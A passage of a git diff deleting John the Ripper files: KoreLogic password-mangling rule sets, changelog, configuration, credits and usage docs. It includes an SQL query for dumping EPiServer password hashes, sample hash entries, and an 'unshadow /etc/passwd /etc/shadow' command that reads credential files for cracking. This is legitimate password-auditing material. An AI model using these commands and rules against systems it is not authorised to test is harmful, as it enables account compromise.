s#[!@$%^&*()\-=_+\\|;:'",./?><] -/$ s$[!@#%^&*()\-=_+\\|;:'",./?><] -/% s%[!@#$^&*()\-=_+\\|;:'",./?><] -/^ s^[!@#$%&*()\-=_+\\|;:'",./?><] -/& s&[!@#$%^*()\-=_+\\|;:'",./?><] -/( s([!@#$%^&*)\-=_+\\|;:'",./?><] -/) s([!@#$%^&*(\-=_+\\|;:'",./?><] -# Kore's ruleset erroneously had: -#/-s-- -/- s-[!@#$%^&*()=_+\\|;:'",./?><] -/= s=[!@#$%^&*()\-_+\\|;:'",./?><] -/_ s_[!@#$%^&*()\-=+\\|;:'",./?><] -/+ s+[!@#$%^&*()\-=_\\|;:'",./?><] -# Kore's rules did not replace backslash -/\\ s\\[!@#$%^&*()\-=_+|;:'",./?><] -/| s|[!@#$%^&*()\-=_+\\;:'",./?><] -/; s;[!@#$%^&*()\-=_+\\|:'",./?><] -/: s:[!@#$%^&*()\-=_+\\|;'",./?><] -/' s'[!@#$%^&*()\-=_+\\|;:",./?><] -/" s"[!@#$%^&*()\-=_+\\|;:',./?><] -/, s,[!@#$%^&*()\-=_+\\|;:'"./?><] -/. s.[!@#$%^&*()\-=_+\\|;:'",/?><] -// s/[!@#$%^&*()\-=_+\\|;:'",.?><] -/> s>[!@#$%^&*()\-=_+\\|;:'",./?<] -/< s<[!@#$%^&*()\-=_+\\|;:'",./?>] - -;[List.Rules:KoreLogicRulesReplaceLetters] -/a sa[b-z] -/b sb[ac-z] -/c sc[abd-z] -/d sd[a-ce-z] -/e se[a-df-z] -/f sf[a-eg-z] -/g sg[a-fh-z] -/h sh[a-gi-z] -/i si[a-hj-z] -/j sj[a-ik-z] -/k sk[a-jl-z] -/l sl[a-km-z] -/m sm[a-ln-z] -/n sn[a-mo-z] -/o so[a-np-z] -/p sp[a-oq-z] -/q sq[a-pr-z] -/r sr[a-qs-z] -/s ss[a-rt-z] -/t st[a-su-z] -/u su[a-tv-z] -/v sv[a-uw-z] -/w sw[a-vx-z] -/x sx[a-wyz] -/y sy[a-xz] -# Kore's ruleset was truncated after "/zszr" -/z sz[a-y] --c /[a-z] s\0[A-Z] - -;[List.Rules:KoreLogicRulesAppendSpecialNumberNumber] --[c:] \p[c:] Az"[!$@#%.][0-9][0-9]" <+ --[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ - -;[List.Rules:KoreLogicRulesPrependNumNumAppendSpecial] --[c:] \p[c:] A0"[0-9][0-9]" <* $[!$@#%.] --[c:] \p[c:] A0"[0-9][0-9]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*] - -;[List.Rules:KoreLogicRulesPrependNumNumSpecial] --[c:] \p[c:] A0"[0-9][0-9][!$@#%.]" --[c:] \p[c:] A0q[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q - -;[List.Rules:KoreLogicRulesAppend2NumSpecial] --[c:] \p[c:] Az"[0-9][0-9][!$@#%.]" <+ --[c:] \p[c:] Azq[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ - -;[List.Rules:KoreLogicRulesPrependDaysWeek] -A0"[Mm][oO0][nN][dD][aA4@][yY]" -A0"[Tt][uU][eE3][sS$][dD][aA4@][yY]" -A0"[Ww][eE3][dD][nN][eE3][sS$][dD][aA4@][yY]" -A0"[Tt][hH][uU][rR][sS$][dD][aA4@][yY]" -A0"[Ff][rR][iI1!][dD][aA4@][yY]" -A0"[Ss][aA4@][tT+][uU][rR][dD][aA4@][yY]" -A0"[Ss][uU][nN][dD][aA4@][yY]" - -;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-3] -## Add Number Number Special --[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ -## Add Special Number Number --[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ - -;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumber] --[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <* $[0-9] --[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <* $[0-9] - -;[List.Rules:KoreLogicRulesAppend4Num] --[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ - -;[List.Rules:KoreLogicRulesPrependNumNumNumNum] --[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" - -;[List.Rules:KoreLogicRulesPrepend2NumbersAppend2Numbers] --[c:] \p[c:] A0"[0-9][0-9]" <- Az"[0-9][0-9]" - -;[List.Rules:KoreLogicRulesPrependCAPCAPAppendSpecial] -A0"[A-Z][A-Z]" <* $[!$@#%.] -A0"[A-Z][A-Z]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*] - -;[List.Rules:KoreLogicRulesAppendSpecialLowerLower] --[c:] \p[c:] AzQ[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][a-z][a-z]Q <+ - -# The last line of KoreLogicRulesAppendNumbers_and_Specials_Simple -;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-4] -# Add 100! ... 999! to the end --[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ - -;[List.Rules:KoreLogicRulesAppendSpecial3num] --[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+ --[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+ - -;[List.Rules:KoreLogicRulesAppendSpecialNumberNumberNumber] --[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+ --[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+ - -;[List.Rules:KoreLogicRulesAppend3NumSpecial] --[c:] \p[c:] Az"[0-9][0-9][0-9][!$@#%.]" <+ --[c:] \p[c:] Azq[0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ - -;[List.Rules:KoreLogicRulesPrependNumNum_AppendNumSpecial] --[c:] \p[c:] A0"[0-9][0-9]" Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ - -;[List.Rules:KoreLogicRulesAppendJustSpecials3Times] --[c:] \p[c:] Az"[!$@#%.][!$@#%.][!$@#%.]" <+ --[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ - -;[List.Rules:KoreLogicRulesAppendCap-Num_or_Special-Twice] --[c:] \p[c:] Az"[A-Z][0-9][0-9]" <+ --[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q <+ --[c:] \p[c:] Azq[A-Z][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ --[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ - -;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumber] --[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <- Az"[0-9][0-9]" --[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <- Az"[0-9][0-9]" - -;[List.Rules:KoreLogicRulesAppend5Num] --[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9]" <+ - -;[List.Rules:KoreLogicRulesAppendSpecial4num] --[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9][0-9]" <+ --[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9][0-9]q <+ - -;[List.Rules:KoreLogicRulesPrepend4NumAppendSpecial] --[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- $[!$@#%.] --[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*]q - -;[List.Rules:KoreLogicRulesAppend4NumSpecial] --[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][!$@#%.]" <+ --[c:] \p[c:] Azq[0-9][0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ - -;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumberNumber] --[c:] \p[c:] A0"[!$@#%.][!$@#%.]" Az"[0-9][0-9][0-9]" <+ --[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q Az"[0-9][0-9][0-9]" <+ - -;[List.Rules:KoreLogicRulesAppend6Num] --[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9][0-9]" <+ \ No newline at end of file diff --git a/data/john/doc/CHANGES b/data/john/doc/CHANGES deleted file mode 100755 index 40e45bf1ba..0000000000 --- a/data/john/doc/CHANGES +++ /dev/null @@ -1,248 +0,0 @@ -The following changes have been made between John 1.7.7 and 1.7.8: - -* The bitslice DES S-box expressions have been replaced with those generated -by Roman Rusakov specifically for John the Ripper. The corresponding assembly -code for x86 with MMX, SSE2, and for x86-64 with SSE2 has been re-generated. -For other CPUs and for AVX/XOP, C compilers do a reasonably good job of -generating the code from the supplied C source files (with intrinsics where -relevant). The S-box expressions that we were using before had a 21% larger -gate count, so theoretically this could provide a 21% speedup. In practice, -though, a 12% to 14% speedup at DES-based crypt(3) hashes is typical. -This effort has been sponsored by Rapid7: http://www.rapid7.com -* Corrected support for bcrypt (OpenBSD Blowfish) hashes of passwords -containing non-ASCII characters (that is, characters with the 8th bit set). -Added support for such hashes produced by crypt_blowfish up to 1.0.4, which -contained a sign extension bug (inherited from older versions of John). -The old buggy behavior may be enabled per-hash, using the "$2x$" prefix. -* The external mode virtual machine's performance has been improved through -additional multi-op instructions matching common instruction sequences -(assign-pop and some triple- and quad-push VM instructions were added). -* A few minor bug fixes and enhancements were made. - -The following changes have been made between John 1.7.6.1 and 1.7.7: - -* Added Intel AVX and AMD XOP instruction sets support for bitslice DES -(with C compiler intrinsics). New make targets: linux-x86-64-avx, -linux-x86-64-xop, linux-x86-avx, and linux-x86-xop (these require recent -versions of GCC and GNU binutils). -* A "dummy" "format" is now supported (plaintext passwords encoded in -hexadecimal and prefixed with "$dummy$") - for faster testing and tuning of -custom wordlists, rule sets, .chr files, and external modes on already known or -artificial passwords, as well as for testing of future and modified versions of -John itself. -* Apache "$apr1$" MD5-based password hashes are now supported along with the -FreeBSD-style MD5-based crypt(3) hashes that were supported previously. Hashes -of both of these types may be loaded for cracking simultaneously. -* The "--salts" option threshold is now applied before removal of previously -cracked hashes for consistent behavior with interrupted and continued sessions. -* The "Idle = Y" setting (which is the default) is now ignored for -OpenMP-enabled hash types when the actual number of threads is greater than 1. -(Unfortunately, it did not work right at least with GNU libgomp on Linux.) -* When a cracking session terminates or is interrupted, John will now warn the -user if the cracked passwords printed to the terminal while cracking are -potentially incomplete. It will advise the user to use the "--show" option to -see the complete set of cracked passwords with proper post-processing. -* When loading hashes specified on a line on their own (feature introduced in -1.7.6), the loader will now ignore leading and trailing whitespace. -* Unless a hash type is forced from the command line, the loader will now print -warnings about additional hash types seen in the input files (beyond the hash -type autodetected initially). -* For use primarily by the jumbo patch (and later by future enhancements to the -official versions as well), the loader now includes logic to warn the user of -ambiguous hash encodings (e.g. LM vs. NTLM vs. raw-MD5, all of which may be -represented as 32 hexadecimal characters) and of excessive partial hash -collisions, which it works around (these are typically caused by an incomplete -implementation of a new hash type). -* The "unique" and "unshadow" programs have been made significantly faster. -* "DateTime", "Repeats", "Subsets", "AtLeast1-Simple", "AtLeast1-Generic", and -"Policy" external mode samples have been added to the default john.conf. -* The self-tests have been enhanced to detect more kinds of program bugs. -* A few minor bug fixes and enhancements were made. - -The following changes have been made between John 1.7.6 and 1.7.6.1: - -* Corrected a logic error introduced in JtR 1.7.4.2: in "single crack" mode, -we need a salt's key buffer even when we have no words corresponding to that -salt's hashes to base candidate passwords on. We need this buffer to hold -other salts' successful guesses for testing against this salt's hashes. - -The following changes have been made between John 1.7.5.1 and 1.7.6: - -* Generic crypt(3) support (enabled with "--format=crypt") has been added for -auditing password hash types supported by the system but not yet supported by -John's own optimized cryptographic routines (such as SHA-crypt and SunMD5). -* Optional parallelization of the above has been implemented by means of OpenMP -along with glibc's crypt_r(3) or Solaris' MT-safe crypt(3C). -* Optional parallelization of John's own optimized code for the OpenBSD-style -Blowfish-based crypt(3) (bcrypt) hashes with OpenMP has been added. -* A more suitable version of 32-bit x86 assembly code for Blowfish is now -chosen on Core i7 and similar CPUs (when they happen to run a 32-bit build). -* More optimal DES S-box expressions for PowerPC with AltiVec (making use of -the conditional select operation) contributed by Dumplinger Boy (Dango-Chu) -have been integrated. -* The bitslice DES C source code has been reworked to allow for the use of -arbitrary SIMD intrinsics, which was previously only implemented for AltiVec -as a special case. -* Support for SSE2 and MMX intrinsics with bitslice DES (as an alternative to -the supplied assembly code) has been added (currently only enabled for SSE2 on -x86-64 when compiling with GCC 4.4+). -* Support for mixed-type longer virtual vectors (such as SSE2+MMX, SSE2+ALU, -AltiVec+ALU, and other combinations) with bitslice DES has been added (not -enabled by default yet, primarily intended for easy benchmarks on future CPUs, -with future compiler versions, with even more SIMD instruction sets, and with -different DES S-box expressions that might be available in the future). -* The obsolete 32-bit SPARC assembly implementation of DES has been dropped. -* The loader will now detect password hashes specified on a line on their own, -not only as part of an /etc/passwd or PWDUMP format file. -* When run in "--stdin" mode and reading candidate passwords from a terminal -(to be typed by the user), John will no longer mess with the terminal settings. -* John will now restore terminal settings not only on normal termination or -interrupt, but also when forcibly interrupted with two Ctrl-C keypresses. - -The following changes have been made between John 1.7.5 and 1.7.5.1: - -* A new numeric variable has been added to the word mangling rules engine: -"p" for position of the character last found with the "/" or "%" commands. - -The following changes have been made between John 1.7.4.2 and 1.7.5: - -* Support for the use of "--format" along with "--show" or "--make-charset" has -been added. -* The choice of .rec and .log filenames for custom session names has been made -more intuitive. -* Support for "\r" (character lists with repeats) and "\p0" (reference to the -immediately preceding character list/range) has been added to the word mangling -rules preprocessor. -* The undefined and undocumented behavior of some subtle word mangling rules -preprocessor constructs has been changed to arguably be more sensible. -* Some bugs were fixed, most notably JtR crashing on no password hashes loaded -(bug introduced in 1.7.4.2). - -The following changes have been made between John 1.7.4 and 1.7.4.2: - -* Major performance improvements for processing of very large password files -or sets of files, especially with salt-less or same-salt hashes, achieved -primarily through introduction of two additional hash table sizes (64K and 1M -entries), changes to the loader, and smarter processing of successful guesses -(to accommodate getting thousands of hashes successfully cracked per second). -* Many default buffer and hash table sizes have been increased and thresholds -for the use of hash tables lowered, meaning that John will now tend to use -more memory to achieve better speed (unless it is told not to with the -"--save-memory" option). -* Some previously missed common website passwords found on public lists of -"top N passwords" have been added to the bundled common passwords list. -* Some bugs introduced in 1.7.4 and affecting wordlist mode's elimination of -consecutive duplicate candidate passwords have been fixed. - -The following changes have been made between John 1.7.3.4 and 1.7.4: - -* Support for back-references and "parallel" ranges has been added to the -word mangling rules preprocessor. -* The notion of numeric variables (to be used for character positions -and substring lengths along with numeric constants supported previously) -has been introduced into the rules engine. Two pre-defined variables -("l" for initial or updated word's length and "m" for initial or -memorized word's last character position) and 11 user-defined variables -("a" through "k") have been added. Additionally, there's a new numeric -constant: "z" for "infinite" position or length. -* New rule commands have been added: "A" (append, insert, or prefix with a -string), "X" (extract a substring from memory and insert), "v" (subtract -and assign to a numeric variable). -* New rule reject flags have been added: ":" (no-op, for use along with the -"parallel" ranges feature of the preprocessor) and "p" (reject unless word -pair commands are allowed, for sharing of the same ruleset between "single -crack" and wordlist modes). -* Processing of word mangling rules has been made significantly faster in -multiple ways (caching of the current length, less copying of data, code -and data placement changes for better branch prediction and L1 cache usage, -compiler-friendly use of local variables, code micro-optimizations, -removal of no-op rule commands in an initial pass). -* The default rulesets for "single crack" and wordlist modes have been -revised to make use of the new features, for speed, to produce fewer -duplicates, and to attempt additional kinds of candidate passwords (such -as for years 2010 through 2019 with "year-based" rules). -* The idle priority emulation code has been optimized for lower overhead when -there appears to be no other demand for CPU time. -* The default for the Idle setting has been changed from N to Y. - -The following changes have been made between John 1.7.3.1 and 1.7.3.4: - -* "make check" has been implemented (for Unix-like systems only). -* The "--test" option will now take an optional argument - the duration of each -benchmark in seconds. -* Section .note.GNU-stack has been added to all assembly files to avoid the -stack area unnecessarily being made executable on Linux systems that use this -mechanism. -* Some very minor bugs that did not affect normal operation have been fixed. -* Some unimportant compiler warnings have been fixed, a source code comment has -been made more verbose and more complete. - -The following changes have been made between John 1.7.3 and 1.7.3.1: - -* Corrected the x86 assembly files for building on Mac OS X. -* Merged in some generic changes from JtR Pro. - -The following changes have been made between John 1.7.2 and 1.7.3: - -* Two Blowfish-based crypt(3) hashes may now be computed in parallel for much -better performance on modern multi-issue CPUs with a sufficient number of -registers (e.g., x86-64). -* Bitslice DES assembly code for x86-64 has been converted to use -instruction pointer relative addressing (needed for Mac OS X support). -* New make targets: macosx-universal, macosx-x86-64, solaris-x86-64-cc, -solaris-x86-64-gcc, solaris-x86-sse2-cc, solaris-x86-sse2-gcc, -solaris-x86-mmx-cc, solaris-x86-mmx-gcc, solaris-x86-any-cc, linux-ia64; -other changes to the Makefile. -* Minor bug fixes. -* "DumbForce" and "KnownForce" external mode samples have been added to the -default john.conf. - -The following changes have been made between John 1.7.1 and 1.7.2: - -* Bitslice DES assembly code for x86-64 making use of the 64-bit mode -extended SSE2 with 16 XMM registers has been added for better performance -at DES-based crypt(3) hashes with x86-64 builds on AMD processors. -* New make target for FreeBSD/x86-64. - -The following changes have been made between John 1.7.0.2 and 1.7.1: - -* Bitslice DES code for x86 with SSE2 has been added for better performance -at DES-based crypt(3) hashes on Pentium 4 and SSE2-capable AMD processors. -* Assorted high-level changes have been applied to improve performance -on current x86-64 processors. -* New make target for NetBSD/SPARC64. -* Minor source code cleanups. - -The following changes have been made between John 1.7 and 1.7.0.2: - -* Minor bug and portability fixes. -* Better handling of certain uncommon scenarios and improper uses of John. -* Bonus: "Keyboard" cracker included in the default john.conf (john.ini) -that will try sequences of adjacent keys on a keyboard as passwords. - -The following changes have been made between John 1.6 and 1.7: - -* Bitslice DES code for x86 with MMX: more than twice faster than older -non-bitslice MMX code. -* Bitsliced the LM hash code as well: now several times faster. -* Significant improvements to the generic bitslice DES code: +20% on RISC. -* PowerPC G4+ AltiVec support (Mac OS X and Linux): effective 128-bitness -for bitslice DES, resulting in huge speedups. -* First attempt at generic vectorization support for bitslice DES. -* Two MD5 hashes at a time for extra ILP on RISC: up to +80% on Alpha EV5+. -* Generic Blowfish x86 assembly code in addition to the original Pentium -version: +15% on the Pentium Pro family (up to and including Pentium III), -+20% on AMD K6 (Pentium 4 and newer AMD CPUs are more happy running the -original Pentium code for Blowfish). -* Verbose logging of events to the global or a session-specific log file. -* Better idle priority emulation with POSIX.1b (POSIX.4) scheduling calls. -* System-wide installation support for *BSD ports and Linux distributions. -* AIX, DU/Tru64 C2, HP-UX tcb files support in unshadow. -* New make targets for Linux/x86-64, Linux/PowerPC, FreeBSD/Alpha, -OpenBSD/x86-64, OpenBSD/Alpha, OpenBSD/SPARC, OpenBSD/SPARC64, -OpenBSD/PowerPC, OpenBSD/PA-RISC, OpenBSD/VAX, NetBSD/VAX, Solaris/SPARC64, -Mac OS X (PowerPC and x86), SCO, BeOS. -* Bug and portability fixes, and new bugs. -* Bonus: "Strip" cracker included in the default john.conf (john.ini). - -$Owl: Owl/packages/john/john/doc/CHANGES,v 1.58 2011/06/22 13:39:46 solar Exp $ diff --git a/data/john/doc/CONFIG b/data/john/doc/CONFIG deleted file mode 100755 index 92f4543d82..0000000000 --- a/data/john/doc/CONFIG +++ /dev/null @@ -1,125 +0,0 @@ - Customizing John the Ripper. - -John the Ripper's behavior can be customized by editing its -configuration file. The configuration file can be named either -john.conf (on Unix-like systems) or john.ini (on systems which have a -notion of filename "extensions" and limit them to 3 characters). - -This file is searched for in private John's "home directory" and, if -not found in the private directory and John is installed system-wide, -also in John's system-wide shared data files directory. - -You can set global options, define wordlist and "single crack" mode -rules, define parameters for "incremental" modes, or even define a new -external cracking mode. - -The configuration file consists of several sections. Each section -starts with a line containing its name, in brackets ("[...]"). Sections -consist either of "variable = value" assignments (each on its own line) -or of some other content specific to the particular section's type -(names of such sections start with "List."). Section and variable names -are not case sensitive. Comment lines start with a hash character ("#") -or a semicolon (";") and are ignored. Also ignored are any empty lines. - - - General options. - -Some global options can be defined in the [Options] section. Currently, -you can set the following options: - -Wordlist = FILENAME - -Set this to your wordlist file name, to be used in batch mode (which is -activated when you start John with password files, but not specifying a -cracking mode). The default is "$JOHN/password.lst", that is, the file -named "password.lst" in John's "home directory". - -Idle = Y|N - -If set to "Y" (yes), John will try to use idle processor cycles only, -thereby greatly reducing its impact on other system processes. The -impact on performance of John itself is negligible except on otherwise -overloaded systems. This setting does not affect John's startup time -and non-cracking invocations of John; it only affects the actual -cracking. The default is "Y" (yes). - -Starting with version 1.7.7, this setting is ignored for OpenMP-enabled -hash types when the actual number of threads is greater than 1. -Unfortunately, it did not work right at least with GNU libgomp on Linux. - -Save = SECONDS - -This is the time interval (in seconds) between crash recovery file -updates. The default is 600 seconds (10 minutes). - -Beep = Y|N - -If set to "Y" (yes), John will beep when a password is found. On -Unix-like systems, it does this by sending the bell character (ASCII -code 7) to the "standard error" file descriptor (which is normally -directed to the terminal). The default is "N" (no). - - - Defining wordlist and "single crack" modes rules. - -The word mangling rules for wordlist and "single crack" modes are -defined in separate sections, [List.Rules:Wordlist] and -[List.Rules:Single], respectively. John the Ripper uses an extension of -Crack's syntax for the rules. John supports all of the commands of -Crack 5.0a plus a few more and, most importantly, it adds a -preprocessor, which can generate multiple rules from a single source -line. - -When defining rules, simply place one rule (which may include -preprocessor commands) per line. See RULES for information on the rules -syntax and on the preprocessor. - - - "Incremental" mode parameters. - -To define the incremental mode parameters you need to create a section -called [Incremental:MODE], where MODE is any name that you assign to the -mode. There are some pre-defined incremental modes in the default -configuration file supplied with John, you can use them as templates. - -The following parameters are supported: - -File = FILENAME - -Set this to your charset file name. See EXAMPLES for an example on how -to generate a custom charset file. There's no default. - -MinLen = LENGTH - -Minimum password length (the number of characters) to try. The default -is 0. - -MaxLen = LENGTH - -Maximum password length to try. The default is 8 (or CHARSET_LENGTH as -defined in src/params.h at compile time). - -CharCount = COUNT - -This allows you to limit the number of different characters (or rather, -character indices) used. The effect is that John would favor simple -longer candidate passwords over more complicated shorter ones, and would -never attempt rare characters and character combinations, not even for -really short passwords. Most of the time, this is undesired. Another -use for this option is to make John print a warning if the charset only -defines less than CharCount characters; this is how the pre-defined -"incremental" modes use it. The default is to use as many different -characters as are defined. - -Extra = CHARACTERS - -This can be used to make John try some extra characters that don't -appear in the charset file. Just list all those characters here and -they will be added, but considered the least probable. - - - Defining an external mode. - -See EXTERNAL. - -$Owl: Owl/packages/john/john/doc/CONFIG,v 1.5 2011/02/27 07:16:16 solar Exp $ diff --git a/data/john/doc/CONTACT b/data/john/doc/CONTACT deleted file mode 100755 index 3abc40db80..0000000000 --- a/data/john/doc/CONTACT +++ /dev/null @@ -1,28 +0,0 @@ -John the Ripper homepage is located at: - - http://www.openwall.com/john/ - -There you will find instructions on joining the john-users mailing list. -You will also be able to browse archives of past discussions. Please -share your experience with using John the Ripper and ask questions -(preferably advanced ones) on the list. Be sure to specify an -informative message subject whenever you post to the list (that is, -something better than "question" or "problem") and mention the version -of John the Ripper, operating system, compiler, make target, etc. that -you're using (if applicable). If you need to provide a binary file, -place it on a private URL and post that, do not attach the file to your -message. - -If you need to contact me privately, please e-mail me at the address -below, but most messages should really be directed to the list instead. - -Please don't ask questions until you read the FAQ. - -Commercial support for John the Ripper is available from Openwall: - - http://www.openwall.com/services/ - --- -Solar Designer - -$Owl: Owl/packages/john/john/doc/CONTACT,v 1.3 2006/01/02 05:00:42 solar Exp $ diff --git a/data/john/doc/CREDITS b/data/john/doc/CREDITS deleted file mode 100755 index 22a075be5e..0000000000 --- a/data/john/doc/CREDITS +++ /dev/null @@ -1,75 +0,0 @@ - John the Ripper credits. - -John the Ripper has been developed and is maintained by Solar Designer. - -I would like to thank the following people for their direct or indirect -help in making John what it is now: - -* Matthew Kwan - for producing and letting everyone use his optimized -DES S-box expressions (previously found in nonstd.c and sboxes.c, now -replaced with Roman Rusakov's): - - http://www.darkside.com.au/bitslice/ - -* Bruce Ford and Rémi Guyomarch - for producing and permitting the use -of their MMX implementation of Matthew Kwan's S-box expressions -(previously found in x86-mmx.S and x86-sse.S, with modifications, now -replaced with code based on Roman Rusakov's S-box expressions). - -* Dumplinger Boy (Dango-Chu) - for producing and letting everyone use -his optimized DES S-box expressions making use of a vector conditional -select operation such as on PowerPC with AltiVec (previously found in -sboxes-s.c, now replaced with Roman Rusakov's): - - http://dango.chu.jp/hiki/?Enhanced+Bitslice+DES - -* Roman Rusakov - for the DES S-box expressions that current versions of -John the Ripper use, as well as for optimization hints during early -development of John the Ripper. - -* Eli Biham - for the great "bitslice" paper: - - http://www.cs.technion.ac.il/~biham/Reports/cs0891.ps.gz - -* Lionel Cons - for making me add Kerberos AFS passwords support, for -reporting some bugs, and for many good suggestions. - -* stran9er - for tracking down the section alignment problem with MMX in -the DOS and Win32 ports. - -* Authors of the contributed patches ever listed on John the Ripper -homepage and/or placed into contrib/ directory on the FTP server - for -those patches which, while not included into the official John the -Ripper for various reasons, are nevertheless very helpful to many users. - -* All the people who have developed freeware crypt(3) implementations - -for various tricks that I combined in my routines. - -* Niels Provos and Poul-Henning Kamp - for original Blowfish-based and -MD5-based crypt(3), respectively, that my implementations are compatible -with. - -* Alec Muffett - for the original wordlist rules syntax. - -* The SOrCErEr - for proving the large charset tables are worth -implementing, and for introducing "-groups" in his cracker. - -* Jackal - for the format of john.pot and parts of the user interface. - -* Anton Ertl - for "Labels as Values" optimization that I use in -compiler.c: - - http://www.complang.tuwien.ac.at/papers/ertl96diss.ps.gz - -* The developers of Cygwin - for Cygwin (at the time called Cygnus -Developer's Kit) that I used for the Win32 port: - - http://www.cygwin.com - -* DJ Delorie - for DJGPP that I used for the DOS port: - - http://www.delorie.com/djgpp/ - -* Charles W Sandmann - for CWSDPMI, the DPMI server used with DJGPP. - -$Owl: Owl/packages/john/john/doc/CREDITS,v 1.15 2011/06/22 13:03:43 solar Exp $ diff --git a/data/john/doc/EPi.patch.README b/data/john/doc/EPi.patch.README deleted file mode 100755 index b50c657d55..0000000000 --- a/data/john/doc/EPi.patch.README +++ /dev/null @@ -1,33 +0,0 @@ -= Intro -======= - -EPiServer is a popular webbased content management system from Elektropost (http://www.episerver.com). -You can dump the password hashes using the SQL syntax "select name, salt, hash from tblSID". The tblSID -tabel stores interesting things such as usernames, salt and password hashes, but also passwords in cleartext. -If a password can be found in cleartext it is found in the password column of tblSID. - -= Install -========= - -Copy the epibf_X.Y-john_1.7.2.patch (where X and Y needs to be replaced with the version you downloaded) -to your john source directory, e.g. john-1.7.2/src and then run "patch -p2 < epibf_X.Y-john_1.7.2.patch" (remember the X and Y). -The patch will create a file called EPI_fmt.c, some files for SHA1 support as well as update some of johns -files in order to incorporate the patch with john. - -= Usage -======= - -This patch needs the format of the password file to be: : . (Currently you need to include -an inital 0x of both salt and hash.) - ---- Contents of an example epipasswd file --- - -webadmin:0x6631F625DEC28716FC24FA3CC1B3E2055E4281F4465226905C10D3456035 0x4F25D9BD24B81D85B1F2D106037C71CD2C828168 -epiuser:0x48F9BA13F54CE7AF669C76EEBC6BEA4564EBB77F1866CA5F2B297F7159C1 0xDA4260812C195025B4442C5C84E0F890122B285A - --------------- End -------------------------- - -You can then run "john epipasswd", the format will be autodetected. -In case you'd like to check the performance of the patch try "john --test --format:epi". - --johannes diff --git a/data/john/doc/EXAMPLES b/data/john/doc/EXAMPLES deleted file mode 100755 index 70bfc29c57..0000000000 --- a/data/john/doc/EXAMPLES +++ /dev/null @@ -1,409 +0,0 @@ - John the Ripper usage examples. - -These examples are to give you some tips on what John's features can be -used for. - - - Command line. - -1. First, you need to get a copy of your password file. If your system -uses shadow passwords, you may use John's "unshadow" utility to obtain -the traditional Unix password file, as root: - - umask 077 - unshadow /etc/passwd /etc/shadow > mypasswd - -(You may need to replace the filenames as needed.) - -Then make "mypasswd" available to your non-root user account that you -will run John under. No further commands will need to be run as root. - -If your system is ancient enough that it keeps passwords right in the -world-readable /etc/passwd, simply make a copy of that file. - -If you're going to be cracking Kerberos AFS passwords, use John's -"unafs" utility to obtain a passwd-like file. - -Similarly, if you're going to be cracking Windows passwords, use any of -the many utilities that dump Windows password hashes (LM and/or NTLM) in -Jeremy Allison's PWDUMP output format. Some of these utilities may be -obtained here: - - http://www.openwall.com/passwords/pwdump - -2. Now, let's assume you've got a password file, "mypasswd", and want to -crack it. The simplest way is to let John use its default order of -cracking modes: - - john mypasswd - -This will try "single crack" mode first, then use a wordlist with rules, -and finally go for "incremental" mode. Please refer to MODES for more -information on these modes. - -It is highly recommended that you obtain a larger wordlist than John's -default password.lst and edit the "Wordlist = ..." line in the -configuration file (see CONFIG) before running John. Some wordlists may -be obtained here: - - http://www.openwall.com/wordlists/ - -Of those available in the collection at the URL above, all.lst -(downloadable as all.gz) and huge.lst (only available on the CD) are -good candidates for the "Wordlist = ..." setting. - -3. If you've got some passwords cracked, they are stored in -$JOHN/john.pot. The john.pot file is not meant to be human-friendly. 